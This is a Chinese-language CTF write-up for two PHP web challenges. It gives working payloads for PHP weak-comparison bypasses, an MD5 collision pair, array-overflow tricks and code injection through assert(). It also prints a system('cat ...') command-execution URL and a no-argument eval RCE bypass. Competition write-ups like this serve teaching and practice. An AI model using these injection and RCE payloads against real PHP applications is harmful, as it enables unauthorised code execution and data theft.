题目1:
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;
$week_3 = false;
$week_4 = false;
$week_5 = false;
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
$a = @$_GET['a'];
$b = @$_GET['b'];
$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];
if( isset($a) && isset($b))
{
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) )
{
$week_3 = true;
}
}
if (isset($_GET['c'])){
if ($_GET['c'] == 114514 ){
assert("intval($_GET[c])==1919810") or die("一言既出,驷马难追!");
$week_5 = true;
}
}
if (isset($_GET['d'])){
$arr[$_GET['d']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
$week_4 = true ;
}
}
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}
if($week_1 && $week_2 && $week_3 && $week_4 && $week_5){
if(md5($data)===md5($verify))
// HNCTFWelcome to
if ("hn" == $_GET['hn'] &+!!& " Flag!ctf" == $_GET[LAGctf]) { //HN! flag!! F
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
echo "\n";
system("cat /".$want);
}
}
else
die("HACK!");
}
?>
week1
从week1开始:
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}
在前面我们分别传入了user
和getuserID
。后续的判断中需要我们让$user == 114514
,但前面对user
进行了拼接,拼接的还是字符串。这里就要用到hint了:user do not begin with 4 number
非数字开头字符串+数字字符串 = 数字字符串
<?php
echo "9a"+'10'; // 19
echo "a9"+"11"; // 11 题目中属于这个情况 也就是最终的 $user = $getUserID;
echo "9a"+'a8'; // 9
echo "a4"+'a8'; // 0
//https://www.bbsmax.com/A/lk5aZAEqd1/
要求getmySaid
是字母 getmyHeart
是数字
由于这里是弱比较, 若md5 后为0e开头就可以绕过
mySaid=TUFEPMC
myHeart=1586264293
payload:user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293
week2:
$data = @$_POST['data'];
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
参考资料:CTF中常见的 PHP 弱类型漏洞总结 - 寂寞圣贤 - 博客园 (cnblogs.com)
这道题是利用array_search()
函数的漏洞。
首先简要介绍下array_search()
函数:
array_search()
函数在数组中搜索某个键值,并返回对应的键名。
语法:array_search(value,array,strict)
参数 | 描述 |
---|---|
value | 必需。规定在数组中搜索的键值。 |
array | 必需。规定被搜索的数组。 |
strict | 可选。如果该参数被设置为 TRUE,则函数在数组中搜索数据类型和值都一致的元素。可能的值:true、false - 默认如果设置为 true,则在数组中检查给定值的类型,数字 5 和字符串 5 是不同的。 |
如果strict参数没有提供或者是false(true会进行严格的过滤),那么array_search()
就相当于进行了弱比较(==
)。如字符串会被转换成数字,"admin"=0
成立。
payload:data[]=0
week3:
$a = @$_GET['a'];
$b = @$_GET['b'];
if( isset($a) && isset($b))
{
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) )
{
$week_3 = true;
}
}
这就很简单了,强比较md5的话就是碰撞,找两串一样的来就行
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
week4:
if (isset($_GET['d'])){
$arr[$_GET['d']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
$week_4 = true ;
}
}
参考资料:PHP使用数组整型溢出绕过赋值式“永真”判断以进入else子句_Sn_u的博客-CSDN博客
首先是$arr[$_GET['d']]=1;
,会向数组中追加一个1。
这里利用数组整型溢出绕过赋值式“永真”判断
原理:
索引数组最大下标等于最大int数,对其追加会导致整型数溢出,进而引起追加失败
32位最大是2147483647,64位是9223372036854775807
payload:d=9223372036854775807
week5:
if (isset($_GET['c'])){
if ($_GET['c'] == 114514 ){
assert("intval($_GET[c])==1919810") or die("一言既出,驷马难追!");
$week_5 = true;
}
}
assert与eval相同,都可以执行php代码。闭合后面的括号再注释后面的内容就可以了。
?c=114514);//
非预期:这题的本意是令五个week=true并通过最后一个才能拿到flag,这里可以直接通过system()函数拿到flag
c=114514)==1%20or%20system(%27cat%20/f14g.php%27);%23
payload:c=114514);//
Final:
if($week_1 && $week_2 && $week_3 && $week_4 && $week_5){
if(md5($data)===md5($verify))
// HNCTFWelcome to
if ("hn" == $_GET['hn'] &+!!& " Flag!ctf" == $_GET[LAGctf]) { //HN! flag!! F
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
echo "\n";
system("cat /".$want);
}
}
else
die("HACK!");
}
?>
首先是确保前面五个week均为true,对data
和verify
的md5进行强比较,数组即可
data[]=0&verify[]=3
后面的hn与ctf存在不可打印字符,vscode中可见,url编码后传入
hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
最后的过滤可以通过Linux的通配符绕过
参考资料:Linux-通配符_明码的博客-CSDN博客_linux 通配符
- 星号(*):可以使用星号代替零个、单个或多个字符
- 问号:可以匹配任意一个字符
- 中括号[]:匹配中括号任意一个字符,如[ljk]代表匹配一个l,j或k的字符
- [-]:匹配范围,[0-9]代表匹配任一个数字
- [*]:匹配不是中括号的一个字符
最终的payload:
http://82.157.250.227:27017?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&c=114514);%23&d=9223372036854775807&user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
POST:data[]=0&verify[]=3&want=f*
或者:http://82.157.250.227:27017/?c=114514)==1%20or%20system(%27cat%20/f14g.php%27);%23
(非预期)
题目2:
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>
无参RCE
payload:guxi=system(%22cat%20flag.php%22);&code=eval(pos(pos(get_defined_vars())));
Comments | NOTHING